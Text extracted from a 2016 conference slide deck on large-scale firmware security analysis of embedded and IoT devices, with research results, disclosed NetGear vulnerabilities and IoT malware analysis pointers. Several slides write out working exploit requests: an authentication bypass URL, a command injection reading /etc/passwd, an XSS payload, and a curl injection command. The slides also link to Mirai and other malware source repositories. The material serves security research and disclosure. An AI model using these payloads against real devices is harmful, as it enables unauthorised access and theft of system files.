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● 2009 – RFID MiFare Classic (MFCUK)
● https://github.com/nfc-tools/mfcuk 

What I do?
Embedded Security Research

https://github.com/nfc-tools/mfcuk
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● 2010-2011 – MFP/Printer Security

What I do?
Embedded Security Research



• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 4

● 2012 – ADS-B Airplane AirTraffic Security

What I do?
Embedded Security Research
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● 2013 – CCTV/DVR Security
● http://www.powerofcommunity.net/poc2013/slide/andrei.pdf

● Warned about high population of vulnerable & accessible
● Disclosed some backdoor vulnerabilities in CCTV/DVR

– http://firmware.re/vulns/acsa-2013-009.php 
● https://github.com/zveriu/cctv-ddns-shodan-censys 

● Demonstrated 1-2 million CCTV/DVR online

What I do?
Embedded Security Research

http://www.powerofcommunity.net/poc2013/slide/andrei.pdf
http://firmware.re/vulns/acsa-2013-009.php
https://github.com/zveriu/cctv-ddns-shodan-censys
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● 2014 – Insecam launched by anonymous

What I do?
Embedded Security Research



• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 7

● 2016 – Largest DDoS by... CCTV/DVR

What I do?
Embedded Security Research



• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 8

● 2016 – Largest DDoS by... CCTV/DVR

What I do?
Embedded Security Research
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by Wilgengebroed on Flickr [CC-BY-2.0]

Embedded Devices:
EVERYWHERE!
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Embedded Devices:
Smarter, More Complex

by Wilgengebroed on Flickr [CC-BY-2.0]
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Embedded Devices:
More Interconnected, More WWW

by Wilgengebroed on Flickr [CC-BY-2.0]
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Embedded Devices:
More Interconnected, More WWW
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● By 2014, there were hundred thousands firmware 
packages (Costin et al., USENIX Security 2014)

● By 2014, there were 14 billion Internet connected objects 
(Cisco, Internet of Things Connections Counter, 2014)

● By 2020, there will be between 20 and 50 billion 
interconnected IoT/embedded devices (Cisco, The Internet 
of Everything in Motion, 2013)

Observations
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● Large number of devices → Analysis without devices
● Large number of firmware files → Scalable architectures
● Highly heterogeneous systems → Generic techniques
● Increasingly “smart”, “connected” → Focus on web interfaces & APIs
● Highly unstructured firmware data → Large dataset classification
● Vulnerable devices exposed → Technology-independent device 

fingerprinting

Challenges
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● Large number of devices → Analysis without devices
● Large number of firmware files → Scalable architectures
● Highly heterogeneous systems → Generic techniques
● Increasingly “smart”, “connected” → Focus on web interfaces & APIs
● Highly unstructured firmware data → Large dataset classification
● Vulnerable devices exposed → Technology-independent device 

fingerprinting

Challenges and Solutions
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Scalable Framework:
Dynamic Firmware Analysis
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Scalable Framework:
Dynamic Firmware Analysis
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Embedded Devices Emulation:
Mind the Scalability/Heterogeneity
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Embedded Devices Emulation:
Mind the Scalability/Heterogeneity
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Embedded Devices Emulation:
Some modes are challenging
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Embedded Devices Emulation:
Some modes are challenging
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Embedded Devices Emulation:
Some modes are challenging
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QEMU System Emulation:
Original FW, Generic kernel, Chroot
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QEMU System Emulation:
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QEMU System Emulation:
Original FW, Generic kernel, Chroot
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Datasets
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● Emulation failures limit the FW test coverage
● “chroot failed” failures for 69% (or 1092) FWs
● “webserver failed” failures for 50% (or 242) FWs
● Failure analysis, random sampling

– 95% confidence level and a ± 10% confidence interval for the 
accuracy of estimations

● Fixing “chroot failed”  should be relatively easy for 70.4% of 
the failures

● Fixing “webserver failed” – should be relatively easy fir 
34.8% of the failures

Datasets:
Failure Analysis
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Datasets:
Embedded CPU Architectures
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Datasets:
Embedded Web Servers
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● Network services – Fuzz 'em all!

Datasets:
Embedded Network Services
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Results:
Static Analysis
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Results:
Dynamic Analysis
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● CVE-2011-1674
● http://firmware.re/vulns/cve-2011-1674.php 

● (Pre-Auth) Web Privilege Escalation to admin
● The NetGear ProSafe WNAP210 with firmware 2.0.12 allows remote 

attackers to bypass authentication and obtain access to the 
configuration page by visiting recreate.php and then visiting 
index.php.

● Affected Devices
● NetGear WNAP210
● Just WNAP210, really?

● Using our scalable dynamic analysis framework
● Quickly verify other firmwares for existing CVEs
● NetGear WG103

– http://WG103-DEVICE-IP/recreate.php?username=admin

Sample Vulnerabilities
CVE-2011-1674 (existing)

http://firmware.re/vulns/cve-2011-1674.php
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● ACSA-2015-001
● http://firmware.re/vulns/acsa-2015-001.php 
● http://firmware.re/vulns/cve-2016-1555.php 

● (Pre-Auth) Command Injection and XSS
● Affected Devices – NetGear

● WG102, WG103
● WN604
● WNDAP350, WNDAP360
● WNAP320
● WNAP210
● WNDAP620, WNDAP660
● WNDAP380R, WNDAP380R(v2)
● WN370
● WND930

Sample Vulnerabilities
ACSA-2015-001 (0day)

http://firmware.re/vulns/acsa-2015-001.php
http://firmware.re/vulns/cve-2016-1555.php
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● Affected Modules (name)
● boardData102.php (example below)
● boardData103.php
● boardDataNA.php
● boardDataWW.php
● boardDataJP.php

● Command Injection
● http://NETGEAR-DEVICE-IP/boardData102.php?

writeData=true&reginfo=0&macAddress=%20001122334455%20-c
%200%20;cp%20/etc/passwd%20/tmp/passwd;%20echo%20#

● Independently discovered by Chen et. al as CVE-2016-1555
● XSS

● http://NETGEAR-DEVICE-IP/boardData102.php?macAddress=
%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

Sample Vulnerabilities
ACSA-2015-001 (0day)
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● Affected Modules (sha256)
● 03bd170b6b284f43168dcf9de905ed33ae2edd721554cebec81894a8d5bcdea5
● 2311b6a83298833d2cf6f6d02f38b04c8f562f3a1b5eb0092476efd025fd4004
● 325c7fe9555a62c6ed49358c27881b1f32c26a93f8b9b91214e8d70d595d89bb
● 33a29622653ef3abc1f178d3f3670f55151137941275f187a7c03ec2acdb5caa
● 35c60f56ffc79f00bf1322830ecf65c9a8ca8e0f1d68692ee1b5b9df1bdef7c1
● 40fbb495a60c5ae68d83d3ae69197ac03ac50a8201d2bccd23f296361b0040b9
● 453658ac170bda80a6539dcb6d42451f30644c7b089308352a0b3422d21bdc01
● 4679aca17917ab9b074d38217bb5302e33a725ad179f2e4aaf2e7233ec6bc842
● 56714f750ddb8e2cf8c9c3a8f310ac226b5b0c6b2ab3f93175826a42ea0f4545
● 70fe0274d6616126e758473b043da37c2635a871e295395e073fb782f955840e
● 760bde74861b6e48dcbf3e5513aaa721583fbd2e69c93bccb246800e8b9bc1e6
● 8bf836c5826a1017b339e23411162ef6f6acc34c3df02a8ee9e6df40abe681ff
● 9f56e5656c137a5ce407eee25bf2405f56b56e69fa89c61cdfd65f07bc6600ef
● a5ef01368da8588fc4bc72d3faaa20b21c43c0eaa6ef71866b7aa160e531a5b4
● dcefcff36f2825333784c86212e0f1b73b25db9db78476d9c75035f51f135ef6

Sample Vulnerabilities
ACSA-2015-001 (0day)
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● ACSA-2015-002
● http://firmware.re/vulns/acsa-2015-002.php 

● (Pre-Auth) Command Injection
● Affected Devices – Netgear ProSafe

● WC9500 (~5,500 USD)
● WC7600 (~3,400 USD)
● WC7520 (~1,200 USD)
● WMS5316 (~1,000 USD) (*maybe vulnerable)

● Affected Modules (name)
● login_handler.php
● Related: ExploitDB 38097 “login_handler.php” for NetGear WMS5316

● Command Injection
● curl --data 'reqMethod=json_cli_reqMethod" "json_cli_jsonData"; cat 

"/etc/passwd' http://NETGEAR-DEVICE-IP/login_handler.php

Sample Vulnerabilities
ACSA-2015-002 (0day)

http://firmware.re/vulns/acsa-2015-002.php
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● High-severity vulnerability impact
● Command injection, XSS, CSRF
● Automated+scalable static and dynamic 

analysis
● 225 high-severity vulnerabilities, many 

previously unknown
● 185 firmware images (~10% of original)
● 13 vendors (~25% of original)

Results:
Summary
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Results:
Summary

● Total alerts from the tools
● 6068 dynamic analysis alerts on 58 

firmware images
● 9046 static analysis alerts on 145 firmware 

images
● Manual triage and confirmation is 

challenging



• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 52

IoT Honeypots
● https://github.com/CymmetriaResearch/MTPot 
● https://github.com/stamparm/hontel 

Ways Forward

https://github.com/CymmetriaResearch/MTPot
https://github.com/stamparm/hontel
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IoT Malware Analysis
● qemu (non-x86)
● debian ports (non-x86)
● radare2
● IDApro
● unicorn + capstone + keystone
● gdb-multiarch

Ways Forward
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IoT Malware Analysis: Psyb0t
● https://github.com/Adrellias/Code-Dump/tree/master/hack/Malware/dslmalware

 

Ways Forward

https://github.com/Adrellias/Code-Dump/tree/master/hack/Malware/dslmalware


• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 55

IoT Malware Analysis: TheMoon
● https://w00tsec.blogspot.com.es/2014/02/analyzing-malware-for-embedded-devices.html

  

Ways Forward

https://w00tsec.blogspot.com.es/2014/02/analyzing-malware-for-embedded-devices.html
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IoT Malware Analysis: (Light)Aidra / Hydra
● https://github.com/eurialo/lightaidra.git 

Ways Forward

https://github.com/eurialo/lightaidra.git
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IoT Malware Analysis: Mirai
● https://github.com/0x27/linux.mirai.git 
● https://github.com/jgamblin/Mirai-Source-Code.git 

Ways Forward

https://github.com/0x27/linux.mirai.git
https://github.com/jgamblin/Mirai-Source-Code.git
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IoT Malware Analysis: Nya/Nyadrop
https://github.com/isdrupter/sample-malware.git 

Ways Forward

https://github.com/isdrupter/sample-malware.git
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IoT Malware Analysis: LuaBot

Ways Forward
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IoT Malware Analysis – More:
● Carna (Internet Census 2012)
● ReinCarna (2014)
● Ifwatch (2014)
● IoT Linux IRCTelnet / New Aidra (Nov 

2016)

Ways Forward
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● Large scale firmware analysis is absolutely 
necessary, especially with the IoT hype

Scalable (dynamic) analysis of firmware is 
feasible and yields very good results

Many vendors do not perform proper/basic 
security testing and QA

Take Aways
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● Large scale firmware analysis is absolutely 
necessary, especially with the IoT hype

● Scalable (dynamic) analysis of firmware is 
feasible and yields very good results

● Many vendors do not perform proper/basic 
security testing and QA
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IoT honeypots are more available

Take Aways



• Click to edit Master text styles
— Second level
— Third level

• Fourth level
— Fifth level

24 Nov 2016 andrei@firmware.re - OverdriveCon 65

IoT honeypots are more available

IoT malware samples are more available

Take Aways
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IoT honeypots are more available

IoT malware samples are more available

IoT malware analysis is interesting and useful

Take Aways
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● ”Automated Dynamic Firmware Analysis at Scale: A Case 
Study on Embedded Web Interfaces” (ACM AsiaCCS 2016)

● http://firmware.re/dynamicanalysis/
● ”A Large-Scale Analysis of the Security of Embedded 

Firmwares” (Usenix Security 2014)

● http://firmware.re/usenixsec14/ 
● “Security of CCTV and Video Surveillance Systems: Threats, 

Vulnerabilities, Attacks, and Mitigations”

● More: http://www.s3.eurecom.fr/~costin/ 

References

http://firmware.re/dynamicanalysis/
http://firmware.re/usenixsec14/
http://www.s3.eurecom.fr/~costin/
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● http://binwalk.org/ 
● http://www.binaryanalysis.org/
● http://rips-scanner.sourceforge.net/ 
● http://www.arachni-scanner.com/ 
● https://www.owasp.org/index.php/OWASP_Zed 
● http://w3af.org/ 
● http://www.metasploit.com/ 
● http://www.tenable.com/products/nessus-vulnerability-scanner

Tools

http://binwalk.org/
http://www.binaryanalysis.org/
http://rips-scanner.sourceforge.net/
http://www.arachni-scanner.com/
https://www.owasp.org/index.php/OWASP_Zed
http://w3af.org/
http://www.metasploit.com/
http://www.tenable.com/products/nessus-vulnerability-scanner
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● https://shodan.io 
● https://zmap.io 
● https://scans.io 
● https://censys.io
● https://www.zoomeye.org/  

Tools

https://shodan.io/
https://zmap.io/
https://scans.io/
https://censys.io/
https://www.zoomeye.org/
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Thank you!

Questions?

andrei@firmware.re

@costinandrei
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